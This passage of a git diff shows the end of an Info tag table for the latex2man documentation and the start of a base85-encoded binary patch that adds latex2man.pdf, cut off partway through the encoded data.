+Node: Accepted LaTeX Macros11995 +Node: Conditional Text15065 +Node: Translation of User Defined Macros17103 +Node: Verbatim Environment19217 +Node: Subsection works19543 +Node: Subsubsection works19718 +Node: Subsubsection still works19907 +Node: General Remarks20113 +Node: Some Bug Fix Tests20855 +Node: Requirements21594 +Node: Changes22008 +Node: Version22180 +Node: License and Copyright22323 +Node: Author23107 + +End Tag Table diff --git a/docs/latex2man/latex2man.pdf b/docs/latex2man/latex2man.pdf new file mode 100644 index 0000000000000000000000000000000000000000..716553f1e7250c3010439340d261fc61ed167d71 GIT binary patch literal 208022 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 